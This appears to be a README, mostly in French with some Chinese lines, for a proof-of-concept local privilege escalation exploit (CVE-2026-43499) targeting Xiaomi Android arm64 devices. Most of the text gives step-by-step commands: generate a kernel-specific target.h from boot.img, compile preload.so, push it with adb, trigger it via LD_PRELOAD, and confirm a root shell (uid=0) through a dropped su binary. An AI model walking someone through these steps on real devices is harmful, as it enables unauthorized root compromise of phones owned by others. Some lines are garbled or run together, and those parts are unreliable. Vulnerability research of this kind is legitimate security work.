
Analyse de vulnérabilité et preuve de concept (PoC) pour CVE-2026-43499 affectant les appareils Xiaomi. Uniquement à des fins éducatives et de recherche.
Anglais | Chinois
Il s'agit d'un projet d'adaptation de l'élévation de privilèges locale Android arm64 pour CVE-2026-43499.
Le projet génère target.h à partir du boot.img de l'appareil cible et des informations du profil, puis compile le preload.so correspondant.
Remarque : ce projet est un framework d'adaptation générique, non lié à un modèle unique. Sa pertinence réelle dépend de la réussite de
generate_target.pyà générertarget.hainsi que des résultats des tests sur appareil réel.
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile_xxx.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Sous Windows, il est recommandé d'utiliser :
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Installer make dans MSYS2 :
pacman -S make coreutils
Vous devez préparer :
boot.img
profile_xxx.json
Exemple de profil :
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Ces deux adresses dans le profil :
p0_phys_offset
p0_kernel_phys_load
Ils peuvent être obtenus en exécutant le script sur un téléphone déjà rooté et avec le même firmware que le boot.img cible :
python3 detect_offset.py
Sous Windows, c'est aussi possible :
python detect_offset.py
Linux / macOS :
cd /path/to/project
Exemple sous Windows MSYS2 :
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Exemple Linux / macOS :
export ANDROID_NDK_HOME=/path/to/android-ndk
Exemple Windows MSYS2 :
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Sous Windows, si python3 n'est pas disponible, utilisez :
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
S'il est indiqué que llvm-objdump est introuvable, spécifiez manuellement le chemin :
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
En cas de succès, vous verrez quelque chose comme :
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS :
make -C source clean preload
Windows MSYS2 :
make -C source clean preload NDK_PREBUILT=windows-x86_64
En cas de succès, les éléments suivants seront générés :
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
Vérification :
adb shell '/data/local/tmp/su -c id'
En cas de succès, vous verrez généralement :
uid=0(root) gid=0(root)
Exemple avec vos chemins :
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
Fichier final :
source/build/bin/preload.so
Installez LLVM, ou utilisez :
--llvm-objdump "/path/to/llvm-objdump"
Sous Windows, installez-le avec MSYS2 :
pacman -S make coreutils
Le chemin du NDK n'est généralement pas correctement configuré.
Exemple Windows MSYS2 :
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Cela signifie généralement que le boot.img actuel ou la disposition du noyau n'a pas encore été adapté avec succès.
Vérifiez en particulier :
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h.target.h manuellement ; il doit être généré automatiquement par generate_target.py.